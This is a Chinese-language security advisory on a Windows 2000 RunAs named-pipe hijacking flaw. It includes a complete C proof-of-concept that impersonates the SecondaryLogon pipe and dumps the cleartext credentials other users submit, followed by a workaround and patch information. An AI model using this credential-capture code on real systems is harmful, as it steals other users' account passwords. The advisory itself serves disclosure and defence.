Microsoft Windows 2000 RunAs 命名管道劫持漏洞
发布日期:2001-11-12
更新日期:2001-11-13
受影响系统:
Microsoft Windows 2000 SP2
Microsoft Windows 2000 SP1
Microsoft Windows 2000
描述:
BUGTRAQ ID: 3185
Windows 2000 的RunAs服务允许一个用户以其它用户的身份执行命令,该服务存在一个
安全问题,可能导致用户命名管道被劫持。
当RunAs服务被调用时,会创建一个命名管道用于客户端提交证书(即帐号密码信
息),该命名管道是明文通信的。当RunAs服务结束之后,如果另一个用户试图使用
RunAs服务时,攻击者就可以创建一个同名的命名管道。
<*来源:Camisade - Team RADIX (
research@camisade.com)
参考:
http://www.camisade.com/research/reports/radix1112200101.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Camisade - Team RADIX (
research@camisade.com)提供了一个测试程序:
// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.
#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#define MAX_IN_BUF 0x1000
#define MAX_OUT_BUF 0x4
#define MAX_INST 0xA
#define SECONDARY_LOGON_PIPE _T("\\\\.\\pipe\\SecondaryLogon")
void main()
{
HANDLE hPipe;
hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
NMPWAIT_USE_DEFAULT_WAIT, 0);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf("Can't create secondary logon pipe. Error %d\n", GetLastError());
return;
}
printf("Created pipe and waiting for clients...\n");
if (ConnectNamedPipe(hPipe, 0))
{
UCHAR InBuf[MAX_IN_BUF];
DWORD dwReadCount;
while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
{
printf("Read %d bytes. (ASCII Dump)\n", dwReadCount);
DWORD dwPos;
for (dwPos = 0; dwPos < dwReadCount; dwPos++)
{
printf("%c ", InBuf[dwPos]);
if ((dwPos % 16) == 0)
printf("\n");
}
DWORD dwReply = ERROR_ACCESS_DENIED;
DWORD dwWroteCount;
WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
}
}
DisconnectNamedPipe(hPipe);
CloseHandle(hPipe);
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 暂时停止使用或者删除RunAs服务
厂商补丁:
该漏洞的补丁将包含在Service Pack 3中,我们建议使用此软件的用户随时关注厂商的
主页以获取该补丁:
http://www.microsoft.com/浏览次数:3556
严重程度:0(网友投票)